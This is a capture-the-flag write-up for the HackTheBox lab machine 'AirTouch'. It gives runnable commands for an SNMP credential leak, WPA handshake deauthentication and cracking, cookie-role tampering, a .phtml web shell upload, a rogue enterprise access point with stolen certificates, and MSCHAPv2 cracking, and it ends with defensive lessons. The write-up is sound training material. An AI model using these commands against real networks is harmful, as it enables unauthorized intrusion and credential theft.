AirTouch - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

AirTouch is a wireless-focused medium-difficulty machine that simulates a real-world attack scenario against enterprise infrastructure. Starting from a consultant workstation, the attacker exploits exposed SNMP to recover credentials, then pivots through two wireless networks: first compromising a WPA-PSK protected network via handshake capture and password cracking, then escalating to administrative access through cookie tampering and file upload exploitation. The second phase involves creating a rogue enterprise access point with stolen certificates to capture MSCHAPv2 authentication material, cracking it to gain access to the management network, and finally escalating privileges through configuration file enumeration. TL;DR: SNMP enumeration → SSH access → WPA-PSK handshake capture & crack → cookie tampering & RCE → certificate extraction → rogue AP deployment with MSCHAPv2 capture → password crack → SSH pivot → configuration file credential harvesting → sudo escalation to root.

Reconnaissance

Port Scanning

# Initial comprehensive port scan
nmap -p- --min-rate=1000 -T4 10.129.21.36

# Detailed enumeration of discovered ports
ports=$(nmap -p- --min-rate=1000 -T4 10.129.21.36 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.21.36

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

Service Enumeration

Initial TCP enumeration revealed only SSH on port 22. UDP scanning uncovered critical information:

# UDP port scanning - top 100 ports
nmap 10.129.21.36 -sU -sC --top-ports=100

UDP Results:

PORT       STATE            SERVICE
68/udp     open|filtered    dhcpc
161/udp    open             snmp

SNMP Enumeration Output:

snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D
(change it after use it)"
System uptime: 6m49.92s (40992 timeticks)

Vulnerability Assessment

• SNMP Information Disclosure: Critical - system banner contains plaintext credentials
• Weak Default Credentials: Consultant account with exposed password in SNMP description
• Wireless Network Exposure: Multiple WPA-protected networks accessible to authenticated users
• Insecure Cookie Handling: Role information stored in client-side cookies without proper validation
• File Upload Restrictions Bypass: .phtml files processed when .php files are rejected
• Configuration File Exposure: Credentials hardcoded in configuration files readable by low-privileged users

Initial Foothold

Phase 1: Credential Recovery via SNMP

The SNMP service banner exposed the consultant account password directly:

# Configure hosts file for DNS resolution
echo "10.129.21.36 airtouch.htb" | sudo tee -a /etc/hosts

# Connect using exposed credentials
ssh consultant@airtouch.htb

Output:

consultant@AirTouch-Consultant:~$ id
uid=1000(consultant) gid=1000(consultant) groups=1000(consultant)

Phase 2: Wireless Network Reconnaissance

Upon connecting to the consultant workstation, we discovered network diagrams indicating multiple wireless networks:

# Transfer diagrams from remote machine
scp consultant@airtouch.htb:'~/*.png' .

# Escalate to root and enumerate wireless interfaces
sudo bash
ip link set wlan1 up

# Scan for available networks
iwlist wlan1 scan | grep "ESSID"

Discovered Networks:

• AirTouch-Internet (WPA2-PSK, Channel 6)
• AirTouch-Office (WPA2-EAP, Channel 44 - 2 BSSIDs)
• Various neighboring networks

# Monitor mode enumeration with airodump-ng
airmon-ng start wlan1
airodump-ng wlan1mon --band bag

Key Findings:

• F0:9F:C2:A3:F1:A7 - AirTouch-Internet (WPA2 CCMP PSK)
• AC:8B:A9:AA:3F:D2 - AirTouch-Office (WPA2 CCMP MGT)
• AC:8B:A9:F3:A1:13 - AirTouch-Office (WPA2 CCMP MGT)

Phase 3: WPA-PSK Network Compromise

We targeted the AirTouch-Internet network by capturing and cracking the WPA handshake.

Terminal 1 - Packet Capture:

# Start airodump-ng on channel 6, targeting AirTouch-Internet
airodump-ng wlan1mon -c6 -w testc6

Terminal 2 - Deauthentication Attack:

# Force connected client to reauthenticate, generating 4-way handshake
aireplay-ng -0 5 wlan1mon -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22

Monitor the capture terminal for the WPA handshake confirmation:

CH 6 ][ Elapsed: 2 mins ][ 2026-04-19 22:26 ][ WPA handshake: F0:9F:C2:A3:F1:A7

Phase 4: Handshake Cracking

Transfer the captured .cap file and crack it offline:

# Transfer capture file from remote consultant machine
sshpass -p "RxBlZhLmOkacNWScmZ6D" scp consultant@airtouch.htb:~/testc6-01.cap .

# Crack the WPA handshake using aircrack-ng
aircrack-ng testc6-01.cap -w /usr/share/wordlists/rockyou.txt

Cracking Result:

Index number of target network ? 3
[00:00:02] 20709/14344392 keys tested (9998.94 k/s)

KEY FOUND! [ challenge ]

Phase 5: Traffic Decryption and Cookie Extraction

Decrypt the captured traffic using the recovered PSK:

# Decrypt WPA traffic with recovered key
airdecap-ng -e AirTouch-Internet -p challenge testc6-01.cap

Decryption Statistics:

Total number of packets read: 1419
Number of decrypted WPA packets: 59

Extract HTTP cookies from decrypted traffic:

# Search for HTTP cookies in decrypted capture
tshark -Y "http.cookie" -T fields -e http.cookie -r testc6-01-dec.cap

Recovered Cookie:

PHPSESSID=a6160mnviu1n7ekqdvhvdbvm3g; UserRole=user

Phase 6: Network Connection and Web Interface Access

Connect to the AirTouch-Internet network from the consultant machine:

# Create wpa_supplicant configuration
cat > psk.conf << 'EOF'
network={
  ssid="AirTouch-Internet"
  psk="challenge"
  scan_ssid=1
  key_mgmt=WPA-PSK
  proto=WPA2
}
EOF

# Transfer configuration to consultant machine
scp psk.conf consultant@airtouch.htb:/tmp

# On consultant machine - connect to wireless network
sudo bash
wpa_supplicant -Dnl80211 -iwlan3 -c /tmp/psk.conf

Terminal 2 - Obtain IP Address:

dhclient -v wlan3

DHCP Assignment:

bound to 192.168.3.46 -- renewal in 42255 seconds

Phase 7: Router Discovery and Access

Scan the internal network to locate services:

# Enumerate the router interface
nmap 192.168.3.1

Router Services:

PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Set up SSH tunnel to access the web interface:

# Create port forward from local machine to router via consultant machine
sshpass -p "RxBlZhLmOkacNWScmZ6D" ssh -L 8080:192.168.3.1:80 consultant@airtouch.htb

Access the web panel at http://127.0.0.1:8080 and inject the recovered cookie for user-level access.

Phase 8: Privilege Escalation via Cookie Tampering

The web interface stores role information in client-side cookies without server-side validation:

Original Cookie: PHPSESSID=a6160mnviu1n7ekqdvhvdbvm3g; UserRole=user
Tampered Cookie: PHPSESSID=a6160mnviu1n7ekqdvhvdbvm3g; UserRole=admin

Changing the UserRole from “user” to “admin” grants administrative access, unlocking the file upload functionality.

Phase 9: Remote Code Execution via File Upload

The admin panel accepts file uploads with file type restrictions. However, .phtml files are processed as PHP:

# Generate malicious .phtml web shell using weevely
weevely generate amra amra.phtml

# Upload the shell through the admin web panel file upload
# File is stored at: /uploads/amra.phtml

# Access the shell using weevely
weevely http://127.0.0.1:8080/uploads/amra.phtml amra

Phase 10: Credential Extraction from Web Application

From the web shell, extract hardcoded credentials from login.php:

# Read the login.php source code
cat /var/www/html/login.php

Extracted Credentials:

'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')

Phase 11: SSH Access to PSK Access Point

Use the extracted credentials to gain SSH access:

# SSH into the PSK access point
ssh user@192.168.3.1

Escalate to root and retrieve the user flag:

# Escalate with sudo
sudo bash

# Read user flag
cat /root/user.txt

Privilege Escalation

Phase 1: Certificate Discovery and Extraction

From root on the PSK access point, discover certificate backup directory:

# List backup directory contents
ls -la /root/certs-backup/
cat /root/send_certs.sh

Script Contents Reveal:

REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"

Credentials for Management Network:

• Username: remote
• Password: xGgWEwqUpfoOVsLeROeG

Copy certificates to accessible location and transfer to attacker machine:

# Copy from root-owned directory to /tmp
cp -r /root/certs-backup/ /tmp

# Transfer to attacker machine via consultant
scp -r user@192.168.3.1:/tmp/certs-backup/ .

Phase 2: Rogue Enterprise Access Point Deployment

Use eaphammer to create a rogue access point with legitimate certificates:

# Import stolen certificates into eaphammer
/root/eaphammer/eaphammer --cert-wizard import \
  --server-cert /tmp/certs-backup/server.crt \
  --ca-cert /tmp/certs-backup/ca.crt \
  --private-key /tmp/certs-backup/server.key \
  --private-key-passwd amra

Deploy the rogue access point:

# Start rogue AP for AirTouch-Office on ESSID matching legitimate network
/root/eaphammer/eaphammer -i wlan3 --auth wpa-eap --essid AirTouch-Office

Phase 3: Simultaneous Deauthentication Attack

To force clients onto the rogue AP, both legitimate access points must be simultaneously deauthenticated.

Terminal 1 - Target BSSID AC:8B:A9:F3:A1:13:

# Set up monitor mode on different interface
airmon-ng start wlan1
iwconfig wlan1mon channel 44

# Continuous deauthentication attack on first legitimate AP
aireplay-ng wlan1mon -0 0 -a AC:8B:A9:F3:A1:13 -c C8:8A:9A:6F:F9:D2

Terminal 2 - Target BSSID AC:8B:A9:AA:3F:D2:

# Set up monitor mode on another interface
airmon-ng start wlan2
iwconfig wlan2mon channel 44

# Continuous deauthentication attack on second legitimate AP
aireplay-ng wlan2mon -0 0 -a AC:8B:A9:AA:3F:D2 -c C8:8A:9A:6F:F9:D2

Phase 4: MSCHAPv2 Capture and Cracking

When the client connects to the rogue AP during deauthentication, MSCHAPv2 authentication material is captured:

mschapv2: Mon Apr 20 00:27:32 2026
  domain\username: AirTouch\r4ulcl
  username: r4ulcl
  challenge: 17:58:4b:a4:8c:13:c6:f5
  response: 5c:0f:62:d7:d5:31:78:dd:5c:22:95:04:c0:4d:a5:c0:77:73:ea:3f:04:23:65:6f

  hashcat NETNTLM:
  r4ulcl::::5c0f62d7d53178dd5c229504c04da5c07773ea3f0423656f:17584ba48c13c6f5

Crack the MSCHAPv2 hash using hashcat:

# Create hash file for hashcat
echo "r4ulcl::::5c0f62d7d53178dd5c229504c04da5c07773ea3f0423656f:17584ba48c13c6f5" > hash

# Crack using mode 5500 (NETNTLM)
hashcat -a 0 -m 5500 hash /usr/share/wordlists/rockyou.txt

Cracking Result:

r4ulcl::::5c0f62d7d53178dd5c229504c04da5c07773ea3f0423656f:17584ba48c13c6f5:laboratory

Recovered Credentials:

• Username: AirTouch\r4ulcl
• Password: laboratory

Phase 5: Management Network Access

Create WPA-EAP configuration using recovered credentials:

# Create client configuration for enterprise network
cat > client.conf << 'EOF'
network={
  ssid="AirTouch-Office"
  scan_ssid=1
  key_mgmt=WPA-EAP
  eap=PEAP
  identity="AirTouch\r4ulcl"
  password="laboratory"
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
}
EOF

# Transfer to consultant machine
scp client.conf consultant@airtouch.htb:/tmp

Connect to the enterprise network:

# Terminal 1 - WPA Supplicant connection
sudo bash
wpa_supplicant -Dnl80211 -iwlan3 -c /tmp/client.conf

# Terminal 2 - Obtain IP from management network
dhclient -v wlan3

DHCP Assignment:

DHCPOFFER of 10.10.10.10 from 10.10.10.1

Phase 6: Lateral Movement to Management AP

Use the “remote” credentials discovered in the PSK access point scripts:

# SSH into management network access point
ssh remote@10.10.10.1

Verification:

remote@AirTouch-AP-MGT:~$ id
uid=1000(remote) gid=1000(remote) groups=1000(remote)

Phase 7: Privilege Escalation via Configuration File Enumeration

Search configuration files for additional credentials:

# Recursively search for r4ulcl in /etc
grep r4ulcl /etc -R

Discovery:

/etc/hostapd/hostapd_wpe.eap_user:"AirTouch\r4ulcl"  MSCHAPV2  "laboratory" [2]

Examine the complete eap_user configuration file:

# Read hostapd EAP user database
cat /etc/hostapd/hostapd_wpe.eap_user

Additional Credentials Found:

"admin"  MSCHAPV2  "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]

Phase 8: Final Privilege Escalation to Root

Switch to the admin account:

# Authenticate as admin user
su admin

# Check sudo privileges
sudo -l

# Execute privileged shell
sudo bash

Final Verification:

admin@AirTouch-AP-MGT:/etc/hostapd$ sudo bash
root@AirTouch-AP-MGT:/etc/hostapd# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve the root flag:

# Read root flag
cat /root/root.txt

Attack Chain Summary

SNMP Enumeration (Port 161)
    ↓
Consultant Credentials Leaked (RxBlZhLmOkacNWScmZ6D)
    ↓
SSH Access to Consultant Workstation
    ↓
Wireless Network Enumeration
    ↓
WPA Handshake Capture (AirTouch-Internet)
    ↓
Dictionary Attack → PSK: "challenge"
    ↓
Traffic Decryption → HTTP Cookie Extraction
    ↓
SSH Tunnel to Router Web Interface (192.168.3.1:80)
    ↓
Cookie Injection (UserRole: user → admin)
    ↓
File Upload RCE (.phtml web shell)
    ↓
Source Code Analysis → Credential Extraction (manager:2wLFYNh4TSTgA5sNgT4)
    ↓
SSH to PSK Access Point (user@192.168.3.1)
    ↓
Certificate Discovery & Remote Credentials (remote:xGgWEwqUpfoOVsLeROeG)
    ↓
Rogue Enterprise AP Deployment (with stolen certificates)
    ↓
Simultaneous Deauth Attack on Legitimate APs
    ↓
MSCHAPv2 Capture → Hashcat Crack → laboratory
    ↓
WPA-EAP Connection to Management Network (10.10.10.0/24)
    ↓
SSH to Management AP (remote@10.10.10.1)
    ↓
Configuration File Analysis → admin Credentials (xMJpzXt4D9ouMuL3JJsMriF7KZozm7)
    ↓
su to admin → sudo bash
    ↓
ROOT ACCESS

Tools Used

Key Learnings

Techniques Practiced

• SNMP Enumeration: Extracting system information and credentials from SNMP banners
• Wireless Network Reconnaissance: Identifying SSIDs, security protocols, and access points
• WPA Handshake Capture: Using airmon-ng and airodump-ng to capture 4-way handshakes
• Dictionary Attacks: Cracking WPA-PSK passwords with aircrack-ng against wordlists
• Traffic Decryption: Decrypting WPA-protected wireless traffic using recovered PSKs
• Network Traffic Analysis: Extracting sensitive information (cookies, credentials) from decrypted traffic
• Cookie-Based Authentication Bypass: Tampering with client-side role information to escalate privileges
• File Upload Exploitation: Bypassing file type restrictions (.php → .phtml) for RCE
• Rogue Access Point Deployment: Creating malicious enterprise APs with legitimate certificates
• Deauthentication Attacks: Forcing clients to reconnect and authenticate to rogue infrastructure
• MSCHAPv2 Capture and Cracking: Extracting authentication material and cracking with hashcat
• WPA-EAP Configuration: Authenticating to enterprise wireless networks with recovered credentials
• Configuration File Analysis: Discovering additional credentials in system configuration files
• Lateral Movement: Using discovered credentials to pivot between network segments
• Privilege Escalation: Leveraging sudo privileges to achieve root access

Lessons Learned

1. Defense in Depth is Critical for Wireless: Single-network compromise does not guarantee full system access; multiple security layers (PSK, then EAP) must be sequentially defeated.

2. Client-Side Security Controls are Insufficient: Storing authentication tokens and role information in client cookies without server-side validation enables trivial privilege escalation.

3. Certificate Management Requires Protection: Backup certificate directories should be secured with restrictive permissions; exposure enables rogue AP attacks against enterprise networks.

4. Hardcoded Credentials in Configuration Files: Never store credentials in readable configuration files—they represent persistent backdoors if any account is compromised.

5. Continuous Deauthentication is Effective: Repeatedly forcing clients to reauthenticate (via simultaneous deauth of all legitimate APs) successfully captures authentication material.

6. File Upload Filtering Must Be Comprehensive: Restricting only specific extensions (e.g., .php) while allowing others (e.g., .phtml) that are processed as code creates trivial bypasses.

7. SNMP Banners Should Be Generic: System descriptions should never contain actionable information; they represent low-hanging fruit for reconnaissance.

8. Wireless Security is Only as Strong as the Weakest Protocol: Mixing WPA-PSK and WPA-EAP creates multiple attack surfaces; compromise of any single network provides tools for attacking others.

9. SSH Key Reuse Across Systems: Using identical credentials across multiple systems (PSK AP → Management AP) enables lateral movement when any single system is compromised.

10. Defense Monitoring is Essential: Simultaneous deauthentication attacks on multiple access points should trigger alerts; detection of this pattern could prevent the initial foothold.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>